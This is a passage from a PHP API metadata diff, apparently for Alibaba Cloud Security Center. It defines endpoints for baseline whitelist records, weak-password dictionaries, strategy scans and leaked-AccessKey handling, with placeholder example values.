'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '196445', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16', + ], + ], + [ + 'name' => 'RecordId', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '14', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '生效目标类型：'."\n" + .'- **all_instance**：全部主机'."\n" + .'- **instance**：部分主机', + 'type' => 'string', + 'required' => false, + 'example' => 'all_instance', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'required' => false, + 'example' => 'Manually processed.'."\n", + ], + ], + [ + 'name' => 'RemoveContainerUuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要去除白名单中的容器名称的资产UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要去除白名单中的容器名称的资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '0e7aac1c-6536-43d1-9df8-73e2a65*****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'RecordId' => [ + 'description' => '白名单记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1582', + ], + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '92', + ], + 'TargetType' => [ + 'description' => '生效目标类型：'."\n" + .'- **all_instance**：全部主机'."\n" + .'- **instance**：部分主机', + 'type' => 'string', + 'example' => 'instance', + ], + 'Target' => [ + 'description' => '加白目标。', + 'type' => 'string', + 'example' => 'HOST_BASELINE_WHITE_LIST_23', + ], + 'Reason' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'example' => '暂可忽略', + ], + 'Source' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Lang' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'example' => 'en', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RecordId\\": 1582,\\n \\"CheckId\\": 92,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_23\\",\\n \\"Reason\\": \\"暂可忽略\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"en\\"\\n },\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '更新基线白名单记录', + ], + 'DeleteCustomizedDict' => [ + 'summary' => '删除自定义弱口令文件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91954', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.103.9.***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '85B5D55F-B341-528F-A2CA-AB1207F9****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"85B5D55F-B341-528F-A2CA-AB1207F9****\\"\\n}","type":"json"}]', + 'title' => '删除自定义弱口令的调用', + ], + 'DescribeDefaultKeyInfo' => [ + 'summary' => '获取自定义弱口令中生成自定义字典的关键字。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '58.246.73.***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Names' => [ + 'description' => '公司名称。', + 'type' => 'string', + 'example' => '****技术股份有限公司', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578A****', + ], + 'DomainList' => [ + 'description' => '域名列表。', + 'type' => 'array', + 'items' => [ + 'description' => '域名信息。', + 'type' => 'string', + 'example' => '["*.test123.com","test234.cn"]', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Names\\": \\"****技术股份有限公司\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578A****\\",\\n \\"DomainList\\": [\\n \\"[\\\\\\"*.test123.com\\\\\\",\\\\\\"test234.cn\\\\\\"]\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询默认键信息', + ], + 'CreateUserSetting' => [ + 'summary' => '保存用户基线检查风险等级设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '101932', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '112.48.16.***', + ], + ], + [ + 'name' => 'InvalidWarningKeepDays', + 'in' => 'query', + 'schema' => [ + 'description' => '无效告警保留的天数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'AlertLevels', + 'in' => 'query', + 'schema' => [ + 'description' => '报警通知级别列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'high,low', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A1EE5AFD-0867-5F4F-9BE1-EBDD2C35****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A1EE5AFD-0867-5F4F-9BE1-EBDD2C35****\\"\\n}","type":"json"}]', + 'title' => '保存用户基线检查设置', + ], + 'ExecStrategy' => [ + 'summary' => '指定策略，对策略内的机器做检查项扫描。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92281', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略ID。'."\n" + .'>调用[DescribeStrategy](~~DescribeStrategy~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '215421', + ], + ], + [ + 'name' => 'ExecAction', + 'in' => 'query', + 'schema' => [ + 'description' => '设置本次执行的动作，默认为**exec**。取值：'."\n" + ."\n" + .'- **exec**：执行。'."\n" + .'- **terminate**：终止。', + 'type' => 'string', + 'required' => false, + 'example' => 'terminate', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7F84EBCA-86F8-5AA0-BF74-A0276ECB****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + [ + 'errorCode' => 'StrategyRunning', + 'errorMessage' => 'Strategy is running.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7F84EBCA-86F8-5AA0-BF74-A0276ECB****\\"\\n}","type":"json"}]', + 'title' => '执行基线检查策略', + ], + 'DeleteBaselineCheckWhiteRecord' => [ + 'summary' => '删除基线白名单记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '196444', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~116179~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '25', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RecordIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '白名单记录的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '49639781', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机基线'."\n" + .'- **agentless**：agentless基线', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\"\\n}","type":"json"}]', + 'title' => '删除基线白名单记录', + ], + 'ModifyAccessKeyLeakDeal' => [ + 'summary' => '处理AccessKey泄露记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92345', + 'abilityTreeNodes' => [ + 'FEATUREsasVQUB1H', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => 'AccessKey泄露记录ID。'."\n" + .'>调用[DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~)接口可以获取该参数，与**IdList**参数不能同时为空。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => 'AccessKey泄露信息的处理方式。取值：'."\n" + .'- **manual**：手动处理'."\n" + .'- **disable**：禁用'."\n" + .'- **add-whitelist**：加入白名单', + 'type' => 'string', + 'required' => true, + 'example' => 'disable', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => 'AccessKey泄露记录处理的备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'disabled.', + ], + ], + [ + 'name' => 'IdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AccessKey泄露记录ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => 'AccessKey泄露记录ID。'."\n" + .'>调用[DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~)接口可以获取该参数，与**Id**参数不能同时为空。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DD4617B4-133A-53C8-ADAE-7B30FF89****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DD4617B4-133A-53C8-ADAE-7B30FF89****\\"\\n}","type":"json"}]', + 'title' => '处理AccessKey泄露记录', + ], + 'DescribeAccesskeyLeakList' => [ + 'summary' => '查询您资产中已泄露的AccessKey信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91979', + 'abilityTreeNodes' => [ + 'FEATUREsasVQUB1H', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的已泄露的AccessKey信息的处理状态。取值：'."\n" + .'- **pending**：未处理'."\n" + .'- **dealed**：已处理 ', + 'type' => 'string', + 'required' => false, + 'example' => 'pending', + ], + ], + [ + 'name' => 'Query', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的AccessKey ID。仅支持精确查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'yourAccessKeyID', + ], + ], + [ + 'name' => 'StartTs', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的泄露信息的发现时间，可以查询该时间点后发现的所有AccessKey泄露信息。该参数为时间戳格式，单位为毫秒。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1614155361489', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。 '."\n" + .'PageSize参数最大取值为100。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。默认值为**1**。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。'."\n", + 'type' => 'string', + 'example' => 'B37C9052-A73E-4707-A024-9247702852BE', + ], + 'GmtLast' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1612357897000', + ], + 'AkLeakCount' => [ + 'description' => '未处理的AccessKey泄露信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的AccessKey泄露信息的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AccessKeyLeakList' => [ + 'description' => 'AccessKey泄露的详细信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'DealTime' => [ + 'description' => 'AccessKey泄露信息的处理时间。', + 'type' => 'string', + 'example' => '2020-12-03 21:23:38', + ], + 'Status' => [ + 'description' => '泄露的AccessKey信息的处理状态。取值：'."\n" + .'- **pending**：未处理'."\n" + .'- **dealed**：已处理 ', + 'type' => 'string', + 'example' => 'pending', + ], + 'Type' => [ + 'description' => '泄露信息的类型，固定取值为**AccessKey**。', + 'type' => 'string', + 'example' => 'AccessKey', + ], + 'UserType' => [ + 'description' => '泄露AK的账号类型。取值：'."\n" + .'- **master**：阿里云账号'."\n" + .'- **ram**：RAM用户', + 'type' => 'string', + 'example' => 'master', + ], + 'AccesskeyId' => [ + 'description' => '泄露的AccessKey ID。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'AliUserName' => [ + 'description' => '受影响的阿里云账号名称。', + 'type' => 'string', + 'example' => 'testAccountName', + ], + 'DealType' => [ + 'description' => 'AccessKey泄露信息的处理方式。取值：'."\n" + .'- **pending**：未处理'."\n" + .'- **manual**：手动处理'."\n" + .'- **disable**：禁用'."\n" + .'- **add-whitelist**：加入白名单', + 'type' => 'string', + 'example' => 'pending', + ], + 'Url' => [ + 'description' => '发现AccessKey泄露信息的外部平台链接。', + 'type' => 'string', + 'example' => 'https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001', + ], + 'GmtModified' => [ + 'description' => 'AccessKey泄露的首次发现时间。该参数为时间戳格式，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1612357897000', + ], + 'Asset' => [ + 'description' => '资产所在的平台，取值固定为**云平台**。', + 'type' => 'string', + 'example' => '云平台', + ], + 'Id' => [ + 'description' => '数据库主键ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '389357', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-9247702852BE\\",\\n \\"GmtLast\\": 1612357897000,\\n \\"AkLeakCount\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"AccessKeyLeakList\\": [\\n {\\n \\"DealTime\\": \\"2020-12-03 21:23:38\\",\\n \\"Status\\": \\"pending\\",\\n \\"Type\\": \\"AccessKey\\",\\n \\"UserType\\": \\"master\\",\\n \\"AccesskeyId\\": \\"yourAccessKeyID\\",\\n \\"AliUserName\\": \\"testAccountName\\",\\n \\"DealType\\": \\"pending\\",\\n \\"Url\\": \\"https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001\\",\\n \\"GmtModified\\": 1612357897000,\\n \\"Asset\\": \\"云平台\\",\\n \\"Id\\": 389357\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n \\n pending\\n y****@test.aliyunid.com\\n AccessKey\\n pending\\n LTAI4Fytv7ALKzkNVBV6****\\n 1612357897000\\n 云平台\\n 389357\\n 2021-03-03 15:58:34\\n master\\n https://github.com/hht312/test-ak/blob/0e466d2ecce55b4c924d773a058e5dc602d8****/1001\\n \\n \\n dealed\\n y****@test.aliyunid.com\\n AccessKey\\n manual\\n LTAI4Fytv7ALKzkNVBV6****\\n 1612357467000\\n 云平台\\n 389351\\n 2021-02-08 14:43:43\\n master\\n https://github.com/daijope/testak/blob/1fac284b5b003d3445ea9dcf1d50a9c0e367****/test.java\\n \\n 2\\n B37C9052-A73E-4707-A024-9247702852BE\\n 20\\n 1\\n","errorExample":""}]', + 'title' => '查询已泄露的AccessKey信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAccessKeyLeakDetail' => [ + 'summary' => '查看AccessKey泄露事件详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91978', + 'abilityTreeNodes' => [ + 'FEATUREsasVQUB1H', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询AK泄露事件的ID。'."\n" + ."\n" + .'> 调用[DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '389357', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '泄露信息的类型，固定取值为**AccessKey**。', + 'type' => 'string', + 'example' => 'AccessKey', + ], + 'GithubUserPicUrl' => [ + 'description' => 'GitHub用户的图片地址。', + 'type' => 'string', + 'example' => 'https://avatars.githubusercontent.com/u/26296896?s=48&v=****', + ], + 'GithubUser' => [ + 'description' => 'GitHub用户名。', + 'type' => 'string', + 'example' => 'Blue00Blue', + ], + 'GithubRepoName' => [ + 'description' => 'GitHub仓库名称。', + 'type' => 'string', + 'example' => 'ExamOnline', + ], + 'GithubFileType' => [ + 'description' => 'GitHub文件类型。取值：'."\n" + ."\n" + .'- Python'."\n" + .'- XML'."\n" + .'- GO'."\n" + .'- Javascript'."\n" + .'- INI'."\n" + .'- JSON'."\n" + .'- C++'."\n", + 'type' => 'string', + 'example' => 'Python', + ], + 'Remark' => [ + 'description' => 'AK泄露事件的备注信息。', + 'type' => 'string', + 'example' => '12', + ], + 'GithubFileUpdateTime' => [ + 'description' => 'GitHub文件更新时间。', + 'type' => 'string', + 'example' => '2021-07-06T09:49:33', + ], + 'WhitelistStatus' => [ + 'description' => 'AK泄露事件是否已加入白名单。取值：'."\n" + ."\n" + .'- **no**：未加入白名单'."\n" + .'- **yes**：已加入白名单', + 'type' => 'string', + 'example' => 'no', + ], + 'GithubFileName' => [ + 'description' => 'GitHub文件名称。', + 'type' => 'string', + 'example' => 'testAkLeak', + ], + 'Source' => [ + 'description' => 'AK泄露事件的情报来源。', + 'type' => 'string', + 'example' => 'GitHub', + ], + 'GmtModified' => [ + 'description' => '泄露事件的最新发现时间。', + 'type' => 'string', + 'example' => '2021-07-06 17:49:39', + ], + 'Asset' => [ + 'description' => '资产所在的平台，取值固定为**云平台**。', + 'type' => 'string', + 'example' => '云平台', + ], + 'DealTime' => [ + 'description' => 'AK泄露事件的处理时间。', + 'type' => 'string', + 'example' => '2022-01-17 15:47:08', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'AccesskeyId' => [ + 'description' => '泄露的AccessKey ID。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'GithubFileUrl' => [ + 'description' => 'GitHub文件的地址。', + 'type' => 'string', + 'example' => 'https://github.com/Blue00Blue/ExamOnline/blob/6c932c10fc3f217783f3937e2b230f79656c18a7/testAk****', + ], + 'DealType' => [ + 'description' => 'AK泄露事件的处理方式。取值：'."\n" + ."\n" + .'- **manual**：已确认手动删除'."\n" + .'- **disable**：已手动禁用'."\n" + .'- **add-whitelist**：已加白名单'."\n" + .'- **pending**：未处理', + 'type' => 'string', + 'example' => 'add-whitelist', + ], + 'Code' => [ + 'description' => '泄露的代码片段。', + 'type' => 'string', + 'example' => '\\n1231 \\nak=yourAccessKeyID \\n12311123 \\nsk1999 \\nsk1999sk1999 \\nsk1999sk1999 \\n\\n\\ntest001 ak hht \\nak=yourAccessKeyID \\nsk=yourAccessKeySecret', + ], + 'GmtCreate' => [ + 'description' => 'AK泄露事件的首次发现时间。', + 'type' => 'string', + 'example' => '2021-07-06 17:49:41', + ], + 'GithubRepoUrl' => [ 